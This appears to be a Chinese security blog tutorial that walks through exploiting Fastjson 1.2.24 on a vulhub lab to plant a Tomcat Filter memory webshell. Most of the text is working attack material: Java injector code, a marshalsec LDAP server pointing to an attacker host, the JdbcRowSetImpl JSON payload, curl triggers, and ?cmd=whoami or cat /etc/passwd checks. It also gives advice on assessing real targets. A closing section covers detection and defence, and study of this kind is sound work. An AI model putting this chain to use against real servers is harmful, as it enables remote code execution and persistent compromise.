Fastjson 实战注入内存马
《Fastjson反序列化漏洞深度剖析》 讲了 AutoType 漏洞原理;《反序列化与 JNDI 无文件注入内存马》 讲了无文件注入的通用链路。这一篇把两者接起来,完整走一遍 Fastjson 1.2.24 → JNDI → 注入 Filter 内存马 → 命令回显的实战,并记录一个真实踩坑:为什么现成的 JNDIExploit 工具打不进去。
本质:Fastjson 解析 @type 时反射实例化 com.sun.rowset.JdbcRowSetImpl,setDataSourceName + setAutoCommit(true) 触发 JNDI lookup,从攻击者 LDAP/RMI 服务远程加载恶意类;恶意类无参构造方法里用无 request 反射链拿 StandardContext,defineClass 加载恶意 Filter 完成注入。
一、为什么用 vulhub 靶场反而打不进去
用现成的 JNDIExploit 或手写 payload 打 vulhub 的 fastjson 1.2.24 靶场,通常注入不成功。排查方法:进容器把 jar 拿出来看版本。
# 从运行中的容器拷贝出应用 jar
docker-compose cp web:/usr/src/fastjsondemo.jar fastjsondemo.jar
# 解压看 Tomcat 版本
unzip -l fastjsondemo.jar | grep -i tomcat
发现 vulhub 靶场用的是 Tomcat 9,而不是本机测试的 Tomcat 8。差异就出在《反序列化与 JNDI 无文件注入内存马》 第三节的兼容坑上:Tomcat 9 里 WebappClassLoaderBase.getResources() 已弃用,直接调用返回 null → NPE,注入类一进构造方法就崩。
二、恶意注入类设计
2.1 无 request 拿 StandardContext(Tomcat 9 兼容写法)
JNDI 加载的类只有构造方法 / static 块会被执行,没有 request。用线程上下文类加载器往下翻,并反射取 resources 字段(兼容 Tomcat 9,弃用的 getResources() 会返回 null):
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
try {
Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
field.setAccessible(true);
StandardRoot root = (StandardRoot) field.get(cl);
return (StandardContext) root.getContext();
} catch (Exception e) {
return null;
}
}
2.2 defineClass 加载恶意 Filter
恶意 Filter(ShellFilter)不在目标 classpath,先本地用 javassist 转成 Base64,注入端 ClassLoader.defineClass 还原:
public Filter getFilter() throws Exception {
String code = "yv66vgAA..."; // ShellFilter 字节码的 Base64(javassist 生成)
byte[] bytes = Base64.getDecoder().decode(code);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
return (Filter) clazz.getDeclaredConstructor().newInstance();
}
2.3 构造方法里完成注入
public class Inject {
public Inject() throws Exception { // ← JNDI 加载后自动执行
StandardContext context = getContext();
Filter filter = getFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
System.out.println("注入成功");
}
}
版本注意:Tomcat 9 是
javax.servlet+tomcat-catalina 9.0.x;Tomcat 10+ 要换jakarta.servlet。编译注入类时依赖的tomcat-catalina版本要与目标运行时一致(见《Fastjson反序列化漏洞深度剖析》的版本章节)。
三、攻击环境搭建
3.1 三步准备
# 1. HTTP 托管编译好的 Inject.class(注入类只有它自己能远程加载)
python3 -m http.server 80
# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://攻击者IP/#Inject" 1389
# (JDK 须用 8u191 之前版本启动 marshalsec 与靶场,见第四节)
# 3. 启动 vulhub fastjson 靶场
docker-compose up -d
3.2 触发 payload
Fastjson 1.2.24 的经典 JdbcRowSetImpl 链:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://攻击者IP:1389/Inject",
"autoCommit": true
}
# 发送到靶场的反序列化接口
curl -X POST http://靶机IP:8080/ \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP:1389/Inject","autoCommit":true}'
触发链路:
Fastjson 解析 @type → Class.forName("JdbcRowSetImpl") → new 实例
→ setDataSourceName("ldap://.../Inject")
→ setAutoCommit(true) → 内部 connect()
→ JNDI lookup("ldap://攻击者:1389/Inject")
→ 恶意 LDAP 返回 Reference → 远程加载 Inject.class → new Inject()
→ 构造方法:defineClass(ShellFilter) + 注册 Filter → 内存马落地
3.3 验证
# 注入后任意请求带 cmd 即命令回显
curl "http://靶机IP:8080/?cmd=whoami"
curl "http://靶机IP:8080/?cmd=cat /etc/passwd"
四、版本与限制(为什么很多靶场打不通)
| 限制 | 版本边界 | 影响 |
|---|---|---|
| JNDI 远程加载 codebase | JDK 8u191+ 默认关闭(com.sun.jndi.ldap.object.trustURLCodebase=false) |
高版本 JDK 下此链失效,需本地 Factory / 其他绕过 |
| Fastjson AutoType 黑名单 | 1.2.25 起有黑名单,1.2.68 起 SafeMode 默认禁用 AutoType |
低版本裸奔,高版本需 @type 绕过或白名单 |
Tomcat getResources() 弃用 |
Tomcat 9+ | 注入类拿 context 的方式要改(第二节 2.1) |
实战要点:vulhub 这类靶场通常是 JDK 8u62~8u181 + Fastjson 1.2.24(AutoType 全开、无黑名单),所以本链可通;真实目标要先确认 JDK 版本(-Djava.version 或 java -version)、Fastjson 版本(find . -name "fastjson*.jar")、Tomcat 版本,再决定链是否可行。
五、检测与防御
检测
- 反序列化入口:审计是否存在对不可信 JSON 直接
JSON.parseObject且未开SafeMode; - JNDI 行为:RASP 监控
InitialContext.lookup的参数是否来自外部输入; - 注册表:注入完成后,按《内存马检测与清除实操》 的 Filter 枚举方法检查
filterConfigs。
防御
| 层面 | 措施 |
|---|---|
| Fastjson | 升级到安全版本;开启 SafeMode(ParserConfig.getGlobalInstance().setSafeMode(true) 或 -Dfastjson.parser.safeMode=true) |
| JDK | ≥ 8u191,关闭 JNDI 远程加载 |
| RASP | 监控 lookup / defineClass / addFilterDef 的调用栈 |
| 事前 | 修复反序列化入口本身(不可信输入不进 parse) |
总结
这一篇把两条线接上了:
Fastjson AutoType(漏洞)
→ JdbcRowSetImpl 触发 JNDI lookup(入口)
→ 远程加载 Inject 类(无文件落地)
→ 构造方法:defineClass + 注册 Filter(内存马落地)
→ ?cmd=xxx 命令回显(持久化)
核心三点:
- Fastjson 只是”进入 JVM”的入口,真正干活的是 JNDI 远程加载的注入类——所以打好内存马,核心还是《反序列化与 JNDI 无文件注入内存马》 那套”无 request 拿 context + defineClass”;
- 版本是命门:JDK 8u191、Fastjson SafeMode、Tomcat 9 的
getResources(),任何一个没对齐都会失败; - 防御的根仍是切断入口:升级 Fastjson + 开 SafeMode + 升级 JDK,比任何事后查杀都有效。
延伸阅读:《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《TomcatEcho 无 request 命令回显》 《内存马检测与清除实操》